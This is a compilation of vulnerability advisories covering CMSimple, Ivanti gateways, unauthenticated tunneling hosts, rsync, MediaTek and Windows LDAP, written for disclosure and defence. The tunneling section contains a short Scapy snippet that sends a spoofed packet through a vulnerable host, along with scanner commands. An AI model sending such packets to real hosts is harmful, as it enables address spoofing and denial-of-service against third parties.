Vulnerabilities in CMSimple 5.16 leading to RCE

• CVE-2024-57546 - An issue in CMSimple v.5.16 allows a remote attacker to obtain sensitive information via a crafted script to the validate link function.
• CVE-2024-57547 - Insecure Permissions vulnerability in CMSimple v.5.16 allows a remote attacker to obtain sensitive information via a crafted script to the Functionality of downloading php backup files.
• CVE-2024-57548 - CMSimple 5.16 allows the user to edit log.php file via print page.
• CVE-2024-57549 - CMSimple 5.16 allows the user to read cms source code through manipulation of the file name in the file parameter of a GET request.

Original research

https://github.com/h4ckr4v3n/cmsimple5.16_research

Related vulnerabilities: CVE-2024-57546CVE-2024-57547CVE-2024-57549CVE-2024-57548

A triple-exploit chain. auth bypass (1) to exposed dbus interface (2) to command injection (3): https://www.exploit-db.com/exploits/45100

Related vulnerabilities: CVE-2018-10660CVE-2018-10662CVE-2018-10661

On Jan. 8, 2025, Ivanti released a security advisory for two vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in its Connect Secure, Policy Secure and ZTA gateway products. This threat brief provides attack details that we observed in a recent incident response engagement to provide actionable intelligence to the community. These details can be used to further detect current attacks noted in the wild using CVE-2025-0282.

These Ivanti products are all appliances that facilitate remote connections into a network. As such, they are outward-facing assets that attackers could target to infiltrate a network.

CVE-2025-0282 is a stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2 and Ivanti Neurons for ZTA gateways before version 22.7R2.3 that allows a remote unauthenticated attacker to achieve remote code execution. This vulnerability has been assigned a critical CVSS score of 9.0.

CVE-2025-0283 is a stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2 and Ivanti Neurons for ZTA gateways before version 22.7R2.3 that allows a local authenticated attacker to escalate their privileges. This vulnerability has been assigned a high CVSS score of 7.0.

On the same day of Ivanti’s advisory, Mandiant disclosed its findings of attacks in the wild using the CVE-2025-0282 remote code execution vulnerability.

On January 10, Watchtowr Labs also provided analysis of the exploited vulnerability. On January 12, Watchtowr provided a walkthrough and on January 16 they published a proof of concept (PoC).

For more info https://unit42.paloaltonetworks.com/threat-brief-ivanti-cve-2025-0282-cve-2025-0283/

Related vulnerabilities: CVE-2025-0283CVE-2025-0282

Ref: https://github.com/vanhoefm/tunneltester/blob/main/README.md

Haunted by Legacy: Discovering and Exploiting Vulnerable Tunnelling Hosts

1. Introduction

This repository will contain scripts to test whether hosts/servers accept unauthenticated tunneling packets. In particular, it can test whether a host accepts IPIP, IP6IP6, GRE, GRE6, 4in6, and 6in4 packets using various scanning methods. A high-level description of the resulting attacks can be found below, and a detailed description and evaluation of all attacks can be found in our USENIX Security '25 paper.

NOTE: To prevent abuse, this scanning script is not yet publicly available. Only the README of the script is available. Please contact Angelos Beitis and Mathy Vanhoef to get access to the actual scanning scripts. We can also provide Z-Map modules to scan multiple hosts at once.

For advice on how to mitigate the resulting attacks, see Section 6 in our paper.

The vulnerabilities were reported to CERT/CC on May 16, 2024, and are being tracked using the identifier VU#199397 and using the CVE identifiers described below. We have also collaborated with the Shadowserver Foundation to better reach affected organizations, and they are now performing periodic scans for vulnerable tunneling hosts.

2. Vulnerability Summary

We found that many Internet hosts accept unauthenticated IPIP, IP6IP6, GRE, 6in4, or 4in6 tunneling packets from an arbitrary source. This means an adversary can send a tunneling packet to such vulnerable hosts, and the vulnerable host will process the encapsulated inner packet, without authenticating (the source of) the tunneling packet. An adversary can abuse this to perform Denail-of-Service attacks, to spoof their source IP address, and possibly to gain access to an organization's private or local network.

An example attack, written using the Python Scapy library, is:

from scapy.all import *
inner_packet = IP(src="1.1.1.1", dst="8.8.8.8")/ICMP()
vulnerable_host = "1.0.0.1"
send(IP(dst=vulnerable_host)/GRE()/inner_packet)

The vulnerable host at 1.0.0.1 will receive the IP/GRE packet and then process and forward the inner IP packet to its destination. More worrisome, many vulnerable hosts will perform no sanity checks on the inner packet. This means many vulnerable hosts can be abused to spoof the source IP addresses of packets. As shown in the above example, the forwarded packet can have the IP address 1.1.1.1, even though the real IP address of the vulnerable host is 1.0.0.1. This means an ICMP packet will be sent to 8.8.8.8 with as spoofed source address 1.1.1.1. Similar attacks are possible against IPv4 and IPv6 hosts using the protocols IPIP, IP6IP, GRE6, 6in4, or 4in6. Note that we use 'host' as a synonym for an IPv4 or IPv6 address and that we will use 'GRE6' when GRE packets are sent between IPv6 hosts.

2.1 Scanning Methods

To detect vulnerable hosts, we scanned the IPv4 and IPv6 Internet using three main methods. These methods are further explained in the indicated sections of our paper:

• Standard Scan (Section 3.2.1): In this scan, the inner packet is an ICMP ping reply with as source IP address the vulnerable host and as destination our scanning server. We also did a subnet spoofing variant of this scan, where the inner packet has as source an IP address within the same subnet as the host. Additionally, we did a spoofing variant, where the inner packet has a spoofed source IP address that is outside the subnet of the host.

• ICMP Echo/Reply (Ping) Scan (Section 3.2.2): In this scan, the inner packet is an ICMP ping request with as destination the vulnerable host itself and as source address our scanning server. In case the host is vulnerable, it will process the ping request, and send a ping reply to our scanning server.

• Time Exceeded (TTL) Scan (Section 3.2.3): In this scan, the inner packet is an IP packet with a Time-To-Live (TTL) equal to one, or an IPv6 packet with a Hop Limit equal to zero. This inner packet has as source address our scanning server, and has as destination address a random public IP address. If the host tries to forward this packet, and hence is vulnerable, it will generate an ICMPv4 or ICMPv6 Time Exceeded packet towards our scanning server.

For the 4in6 scans, where we send a tunneling packet to an IPv6 host with as inner packet an IPv4 packet, we cannot perform a ping scan because we do not know the IPv4 address of the IPv6 host being scanner. This also implies we can only do the spoofing variant of the standard scan, because we do not know the IPv4 subnet of the host.

For the 6in4 scans, where we send a tunneling packet to an IPv4 host with as inner packet an IPv6 packet, we can use the IPv4-Mapped IPv6 Address of the form ffff:IPV4_ADDRESS_IN_HEX:: to perform the standard and ping scans.

2.2 Impact Summary

• Denial-of-Service: An attack that is always possible is a Denial-of-Service attack by recursively encapsulating tunneling packets and sending this constructed packet to a vulnerable host. The vulnerable host will then recursively keep processing the encapsulated tunneling packets until the last nested packet is reached. This implies that sending a single packet will result in substantial processing time on the vulnerable host. In terms of CPU usage on the vulnerable host, this can result in an amplification factor of 70x when performing a DoS attack, and even higher when combined with IP fragmentation. Depending on the behaviour of the vulnerable tunneling host, other DoS attacks may also be possible, such as a Tunneled-Temporal Lensing Attack or Economic DoS attack. See our draft paper for details.

• Source Address Spoofing: An adversary can abuse vulnerable tunneling hosts to spoof their source IP address. This is because the vulnerable tunneling host will forward IP packets on behalf of the attacker. A host can spoof source IP addresses when the Standard "subnet spoof" and "spoof" scans indicate that the server is vulnerable.

• Internal Network Access: In case the vulnerable host is connected to a private network, then the open tunneling host can possibly be abused to gain access to all devices within this connected private network. This may particularly be possible if the vulnerable hosts also implement Network Address Translation (NAT). The precise details of this are still being investigated.

2.3 Assigned CVE Identifiers

• CVE-2020-10136: IPv4-in-IPv4 (IPIP) protocol (RFC2003).
• CVE-2024-7595: GRE and GRE6 (RFC2784).
• CVE-2024-7596: Generic UDP Encapsulation (GUE) (IETF Draft). We did not detect any vulnerable hosts using this draft protocol.
• CVE-2025-23018: IPv4-in-IPv6 (4in6) and IPv6-in-IPv6 (IP6IP6) protocols (RFC2473).
• CVE-2025-23019: IPv6-in-IPv4 (6in4) protocol (RFC4213).

3. Tool Prerequisites

You can execute the following commands to initialize the Python environment to execute the script. We tested these commands on Ubuntu 24.04:

python3 -m venv venv
source venv/bin/activate
pip install wheel scapy==2.4.3

You can then load this Python environment as root and execute the script:

sudo su
source venv/bin/activate
./tunnel_tester.py

4. Steps to Reproduce

After the prerequisite steps, you can execute the following command to test IPv4-capable hosts:

./tunnel_tester.py eth0 -t 183.232.161.42

The parameters are: * -i eth0: The interface that should be used to send and receive the packets. It must have an IPv4 address, otherwise, no tests are performed. * -t 183.232.161.42: This is the IPv4 address of the host being tested.

You can test IPv6-capable hosts using the following command:

./tunnel_tester.py eth0 -t6 2a00::1000

The parameters are: * -i eth0: The interface that should be used to send and receive the packets. It must have an IPv6 address, otherwise, no tests are performed. * -t6 2a00::1001: This is the IPv6 address of the host being tested.

The IPv4 and IPv6 tests can also be performed in a single execution:

./tunnel_tester.py -t 183.232.161.42 -t6 2a00::1001

For each performed test, the script will output SAFE if no vulnerability was detected, and VULNERABLE if a vulnerability was detected. Note that we recommend executing the script multiple times, since sometimes replies may get lost. You can also increase or decrease how long the script waits for replies using the --timeout parameter. For instance, by specifying --timeout 0.5 the script will only wait half a second for replies.

5. Advanced Usage

By default, the script will use the IP address associated to the given interface as the source address in transmitted packets. To use a different source address, or explicitly set the IP address in case it does not get detected properly, you can use:

• -P A.A.A.A: The IPv4 to use as source address in outgoing IP packets.
• -P6 2a00::1000: The IPv6 to use as source address in outgoing IP packets.

By default, the script will try to spoof IP addresses belonging to KU Leuven University in the standard spoof scan. To try to spoof a different source IP address you can use the following arguments:

• -s 212.224.129.90: Test whether the vulnerable host has the ability to spoof the given source IPv4 addresses.
• -s6 2a02:2c40:0:80::80:15: Test whether the vulnerable host has the ability to spoof the given source IPv6 addresses.

In the Time Expired TTL scans, the inner IP addresses by default belong to KU Leuven University. To use a different inner destination IP address, in order to trigger packet forward and generate the TTL Expired error, you can use the following arguments:

• -t 212.224.129.90: Test whether the vulnerable host has the ability to spoof the given source IPv4 addresses.
• -t6 2a02:2c40:0:80::80:15: Test whether the vulnerable host has the ability to spoof the given source IPv6 addresses.

When running the script on an AWS EC2 server, you need to explicitly provide the private and public IP address of the server using the following arguments:

• -p 172.0.0.1: The private IPv4 address of the scanning server.
• -P 1.2.3.4: The public IPv4 address of the scanning server.

6. Troubleshooting

• Ensure you are injecting packets on the correct interface!

• When you are testing your own vulnerable server, ensure that the accept_local and ip_forwarding sysctl's for both IPv4/6 are set. Otherwise the host may not be vulnerable to (all) attacks.

• With tcpdump you can use the filter "proto 4 or proto gre or proto 41" to capture the packets that the scanning tool is transmitting (this will not show possible replies).

Additional feedback

• https://infosec.exchange/@jeroen@secluded.ch/113831359550444599 that is only 20 years after http://www.dia.uniroma3.it/~compunet/tunneldiscovery/ and there are other similar papers that wrote this up. It is the full intent and purpose on how those protocols are supposed to be used, and spoofing is a network issue in this case (they rely on a trusted network... ouch). Source Address Validation is one solution, not using non-authenticated protocols another.

Related vulnerabilities: CVE-2025-23019CVE-2020-10136CVE-2025-23018CVE-2024-7596CVE-2024-7595

6 vulnerabilities in rsync server

As published in https://www.openwall.com/lists/oss-security/2025/01/14/3

Hello OSS-security,

Two independent groups of researchers have identified a total of 6 vulnerabilities in rsync. In the most severe CVE, an attacker only requires anonymous read access to a rsync server, such as a public mirror, to execute arbitrary code on the machine the server is running on.

Upstream has prepared patches for these CVEs. These fixes will be included in rsync 3.4.0 which is to be released shortly.

CVE Details: [1] Heap Buffer Overflow in Rsync due to Improper Checksum Length Handling

CVE ID: CVE-2024-12084

CVSS 3.1: 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.

Affected Versions: >= 3.2.7 and < 3.4.0 Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

Mitigation: Disable SHA* support by compiling with CFLAGS=-DDISABLE_SHA512_DIGEST and CFLAGS=-DDISABLE_SHA256_DIGEST.

[2] Info Leak via Uninitialized Stack Contents

CVE ID: CVE-2024-12085

CVSS 3.1: 7.5 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

Mitigation: Compile with -ftrivial-auto-var-init=zero to zero the stack contents.

[3] Rsync Server Leaks Arbitrary Client Files

CVE ID: CVE-2024-12086

CVSS 3.1: 6.1 - AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

[4] Path Traversal Vulnerability in Rsync

CVE ID: CVE-2024-12087

CVSS 3.1: 6.5 - AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the --inc-recursive option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the --inc-recursive option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.

Affected Versions: < 3.4.0 Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

[5] --safe-links Option Bypass Leads to Path Traversal

CVE ID: CVE-2024-12088

CVSS 3.1: 6.5 - AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Description: A flaw was found in rsync. When using the --safe-links option, rsync fails to properly verify if a symbolic link destination contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

[6] Race Condition in Rsync Handling Symbolic Links

CVE ID: CVE-2024-12747

CVSS 3.1: 5.6 - AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.

Affected Versions: < 3.4.0

Reporters: Aleksei Gorban "loqpa"

Best Regards,

Red Hat Product Security

Nick Tait

He / Him (why? https://medium.com/gender-inclusivit/why-i-put-pronouns-on-my-email-signature-and-linkedin-profile-and-you-should-too-d3dc942c8743 )

Incident Commander - Product Security

https://www.redhat.com https://www.redhat.com

secalert@...hat.com for urgent response. My working hours may not be your working hours. Do not feel obligated to reply outside of your normal work schedule.

Related vulnerabilities: CVE-2024-12088CVE-2024-12087CVE-2024-12085CVE-2024-12084CVE-2024-12747CVE-2024-12086

Created Date Jan 8, 2025 4:55:55 PM Last Modified Date Jan 8, 2025 6:00:09 PM

Summary

https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283?language=en_US

Ivanti has released an update that addresses one critical and one high vulnerability in Ivanti Connect Secure, Policy Secure and ZTA Gateways. Successful exploitation of CVE-2025-0282 could lead to unauthenticated remote code execution. CVE-2025-0283 could allow a local authenticated attacker to escalate privileges.

A patch is available now, please refer to the table below for each affected product.

We are aware of a limited number of customers’ Ivanti Connect Secure appliances being exploited by CVE-2025-0282 at the time of disclosure. We are not aware of these CVEs being exploited in Ivanti Policy Secure or ZTA gateways.

We are not aware of any exploitation of CVE-2025-0283 at the time of disclosure.

Exploitation of CVE-2025-0282 can be identified by the Integrity Checker Tool (ICT). We strongly advise all customers to closely monitor their internal and external ICT as a part of a robust and layered approach to cybersecurity to ensure the integrity and security of the entire network infrastructure.

Vulnerability Details

CVE Number

Description

CVSS Score (Severity)

CVSS Vector

CWE

CVE-2025-0282

A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a remote unauthenticated attacker to achieve remote code execution.

9.0 (Critical)

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE-121

CVE-2025-0283

A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a local authenticated attacker to escalate their privileges.

7.0 (High)

CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-121

Related vulnerabilities: CVE-2025-0282CVE-2025-0283

Source: https://i.imgur.com/VpI6jkI.png

Related vulnerabilities: CVE-2024-40765CVE-2024-12803CVE-2024-12806CVE-2024-12802CVE-2024-53704CVE-2024-12805CVE-2024-40762CVE-2024-53706CVE-2024-53705

Vulnerabilities affecting MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

The user must update the device as soon as possible.

Related vulnerabilities: CVE-2024-20143CVE-2024-20145CVE-2024-20105CVE-2024-20146CVE-2024-20148CVE-2024-20144CVE-2024-20154CVE-2024-20140

MediaTek has released its January 2025 Product Security Bulletin: https://corp.mediatek.com/product-security-bulletin/January-2025

Out-of-bounds write vulnerabilities in power management (CVE-2024-20140) and the Digital Audio subsystem (CVE-2024-20143, CVE-2024-20144, CVE-2024-20145). These vulnerabilities could lead to local privilege escalation, potentially allowing attackers to gain unauthorized access to sensitive data or system functionalities.

These vulnerabilities could lead to local privilege escalation, potentially allowing attackers to gain unauthorized access to sensitive data or system functionalities.

Other vulnerabilities addressed include issues in the WLAN driver (CVE-2024-20146, CVE-2024-20148) that could lead to remote code execution and an out-of-bounds write vulnerability in the M4U subsystem (CVE-2024-20105) that could allow for local privilege escalation.

MediaTek has notified device manufacturers (OEMs) about these vulnerabilities and provided corresponding security patches. Users are strongly encouraged to check for updates from their device manufacturers and apply them as soon as possible to mitigate these security risks.

Related vulnerabilities: CVE-2024-20143CVE-2024-20145CVE-2024-20105CVE-2024-20146CVE-2024-20148CVE-2024-20144CVE-2024-20140

A PoC for CVE-2024-49113 titled “Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability.” is provided by SafeBreach.

However, there was confusion between CVE-2024-49113 (DoS) and CVE-2024-49112 (RCE - CVSS 9.8), as noted by @wdormann@infosec.exchange:

https://github.com/SafeBreach-Labs/CVE-2024-49113/commit/eb76381b2927ce78c86743267d898b4ebfcbb187

Related vulnerabilities: CVE-2024-49113CVE-2024-49112